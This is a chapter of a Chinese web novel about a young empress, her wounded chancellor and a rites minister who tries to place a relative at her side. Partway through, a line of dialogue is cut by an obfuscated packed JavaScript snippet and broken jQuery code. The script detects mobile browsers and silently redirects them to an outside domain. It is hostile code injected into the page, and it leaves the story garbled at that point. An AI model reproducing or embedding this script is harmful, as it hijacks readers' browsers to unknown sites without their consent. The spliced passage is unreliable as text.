空谢荼蘼 作品
30. 江南
“难得不用饿着肚子就去见文武百官,真是——”宋撄宁正慢悠悠尝着东都的早食,殿外的宫人忽然疾步前来,神色有几分难言之意。
她叹了口气:“怎么了?不会是傅相来了吧?”
刚要感慨傅善平实在勤勉忠心,宫人们低着头嗫喏道:“崔大人求见......说是想与圣人共进早膳。”
“他胸前开了个口子,不躺着歇息,爬起来找朕吃什么早膳?”宋撄宁放下手里喝了一半的粥,道:“让崔相进来,吩咐尚食局给他上一份药膳。”
一个高大的人影步入殿内,俯身要给她行礼。
宋撄宁想起御医口中那道狰狞的伤口,连忙道:“崔相免礼!”
“圣人,臣来侍奉吧。”说着,他便要接过一旁宫人手里的金玉箸,被宋撄宁制止。
“你身子未好还乱跑,若真裂开了,还得重新缝一次。”宋撄宁指着另一侧新上的几碟药食,“御医叮嘱,只许吃那些。”
崔望熙端坐着,露出个清淡的笑:“多谢撄宁关心。”
二人安安静静地用完早膳,宋撄宁打算去书房,却见崔望熙又慢悠悠地跟了过来。
“你有伤在身,朕今日还免了议政,快回去躺躺吧。”
“撄宁......”崔望熙拉起她的手,“你答应了,要......试一试的。”
“试一试——”宋撄宁倍感无奈,“那也不必带着伤就——罢了,那朕陪你回去坐坐可好?”
“好。”崔望熙心满意足,牵着她的手并肩而行。
行宫并不大,二人上了辇车后稍待片刻,便回到了崔望熙的寝殿。
宋撄宁坐在昨夜的位置上,拿着本书随意翻着,室内飘着淡淡的药香。
“撄宁。”
“嗯?怎么了?”宋撄宁抬眸问道。
“我有些热。”
宋撄宁看了眼冰鉴,仍是堆得满满的,“崔相心浮气躁,静下心来就好了,养伤期间心态最重要。”
又翻了几页,一本书才将将看了十分之一,她便忍不住放了下来。
榻上那人一直未曾消停过,隔一会便要哀哀地唤一声“撄宁”。
她利落地起身在榻边坐下,拉住男人搭在枕侧的手,轻轻晃了晃,温声问他:“这下可好了?”
崔望熙终于安静下来。
宋撄宁吩咐宫人将奏折本搬来,边提笔批阅,边和他闲聊。
“上次燃烟降雨的那个法子,崔相觉得什么时候适合发给地方?”
“当下唯有岭南与河西两个行省难以把握,其余的地方圣人都可以逐步开始教他们了。”
“嗯。”宋撄宁点头认同,“那从山南与陇右开始吧,江南那里气候湿润,估计是用不上,反倒要担心雨季涝灾。”
“让范思之去陇右吧,他在京畿也是没法往上升了,在地方呆几年也好。”崔望熙提议。
宋撄宁埋着头写字,“那山南呢?让工部自己商议派人吧。”
她的笔动得飞快,偶尔遇上几本废话连篇的请安折子,硬生生忍下训斥的冲动,耐着性子批一句“朕亦思念爱卿”。
“崖州刺史说要进献上好的龙眼荔枝,”她回头看着崔望熙,“吃不吃?”
崔望熙眸光一亮,欣然道:“撄宁想给我,我自然要吃的。”
宋撄宁在折子上写了几句:“那朕让他们直接送去江南那边好了,还比入京畿近,只是你旧伤未愈又添新伤,吃起来节制些。”
“我曾读明皇与贵妃的故事,因着她爱吃荔枝,便有命人千里相送的殊遇——”
宋撄宁知晓他的意思:“你不是贵妃,朕亦不是明皇。”
崔望熙的声音低了下去,带着黯然的失落:“我知道。”
见他误会了,宋撄宁只好放下笔,轻轻勾了勾他的掌心:“贵妃的结局并不好,你不会那样的。”
“朕的崔相肯定长命百岁。”
不仅是崔望熙,还有阿染阿年,王寒英,傅善平,许许多多人,都一定会活得很好。
半个月后,帝王銮驾自东都启程,前往江南行省。
一路走走停停,终于在暑气最盛时,到达了玉华宫。
殿宇台榭绮丽雅致,不同于大明宫的恢弘,用于避暑的玉华宫更多了几分精巧之美,依山傍水而建,更有清泉微风,茂林翠竹。
宋撄宁的寝殿与书房相连,位于整座宫殿群的中央,殿前有一汪莲池,幽香阵阵。
符染挽着她,四处好奇地闲逛:“臣听闻玉华宫以灵秀著称,避暑的效果比那前代的甘泉宫还要好上许多,果然名不虚传。”
“只可惜在这待不长。”宋撄宁靠着软榻坐下,“还有两个多月便是殿试,到时候你和阿年一起帮朕挑挑。”
“母亲也在江南,只是她和宗沁避世而居,也不知愿不愿意见朕。”
“圣人要不先写信问问吧?”符染微微摇着扇子,“紫溪山庄离得虽不远,但策马来回也要一个日夜呢。”
“罢了,朕来江南人尽皆知,母亲若真的想见朕,自是会派人来告知的。”她仰头躺在窗边,凉风徐徐,混着清雅宜人的香气,令她感到一丝睡意。
她与母亲的关系,和那些寻常的皇室母女相似,却又有所不同。
母亲对她既不是极为亲近,但也不冷漠严苛,一如她对父亲一样。
宋撄宁偶尔觉得,母亲对父亲的感情,还比不上对宗沁深厚。
她一生只自己一位子嗣,但并未给予她太大的压力,偶尔心情好时还会与她玩笑几句,当年欲定崔望熙为未来皇夫之事,便是那时聊起的。
奈何崔望熙想得太多,觉得宋撄宁帝王之身多情薄幸,当场拒绝了。
母亲忙着推新政,很多时候,宋撄宁是和谢华筝待在一起的时间更长。
她缓缓收回思绪,透过手指的缝隙,望着窗牖上的雕花。
良久,宋撄宁被宫女扶着坐起来,重新回到案边,处理起那积压了几日的政事。
日薄西山之时,书房外忽然站着两位不速之客。
“什么?”她搁笔,端起一旁的凉茶饮啜,“裘沛此时求见?礼部最近没什么事吧......
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005920|161269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宣。”
裘沛领着一个年轻的官员入内给她行礼,宋撄宁没抬头,只道了声免礼。
“陛下,臣今早查阅礼记时,发现其中不少地方可以增补批注,恳请陛下准许臣——”
“嗯,朕会传令京畿,让秘书省去办。”
“陛下,还有一事,主客司员外郎一职空缺多时——”
“嗯,这不是什么要职,明日催一催吏部,让补个人上来。”她将手里的奏折“啪”地合上,静静看着裘沛东拉西扯。
目光忽然落在他旁边那个年轻的面生文官身上。
此人的眉眼......颇有几分熟悉。
裘沛见宋撄宁终于注意到了,拱手说:“陛下,此人是礼部新上任的书令史,知进退,有文采,陛下要不留在书房里,权当帮您整理整理书桌也好。”
那书令史走上前来,恭谨温顺地掀袍跪下:“臣崔忱彦,参见陛下。”
宋撄宁拧着眉:“崔?”
“回陛下,臣出身清河崔氏,是中书令大人的族弟。”
她瞬间明白了裘沛的意图。
若她当真瞧上了这位新任书令史,直接给了位份,那他自是有功在身,若没有,在帝王身边安放个人手,也益处无穷。
“裘尚书,礼部最近很清闲?让你把手伸到朕的身边了?”
裘沛当即掩面低泣:“老臣怎敢!老臣的一言一行,皆是为了陛下着想啊!”
......怪不得连母亲也遭不住礼部这群年事已高却生龙活虎的人。
“阿染,去把裘尚书扶起来,赐坐。”
“裘爱卿,”宋撄宁忍着怒气,平静地说道:“朕身边不缺人,这位崔......小崔大人,既然有才华,那便在礼部好好办事,何必来书房埋没自己呢?”
崔忱彦连忙俯身:“能在陛下身侧侍奉笔墨,臣不胜荣幸,岂有埋没一说。”
宋撄宁没理他,紧紧盯着那擦着眼泪的老臣:“裘沛,朕不是说过,从江南回去后,便会处理此事吗?”
“陛下,臣与小崔大人,皆是一片赤诚丹心向您,您就看在臣为国多年的份上,留他在书房念念书,理理桌子吧。”
宋撄宁被他哭得心烦意乱,重重地放下手中茶盏,指着桌案一侧:“研墨。”
裘沛精神一振,心满意足地告退了。
“圣人......”崔忱彦研墨的姿态很优雅,不疾不徐,“这样合适吗?”
“刚好。”
他悄悄瞥着正专注政事的宋撄宁,心中泛起涟漪。
女帝年轻美丽,性格温和,而大邺朝一向开明,并无什么后宫之人不得入朝的律法。
上皇的伴侣便是身兼要职,手握重权,连带着当时的云氏都水涨船高。
而崔家如今为崔望熙把持,此人自幼便冷漠寡情,他们唯有俯首帖耳,事事听命于他,摆出乖顺的模样,才能勉强喘气。
如今好不容易搭了礼部尚书的线,趁着崔望熙最近连番受伤,他才得以站在帝王面前。
想到这,他转身沏来一杯新茶,顶着符大人不赞成的目光,一步步走到帝王近处。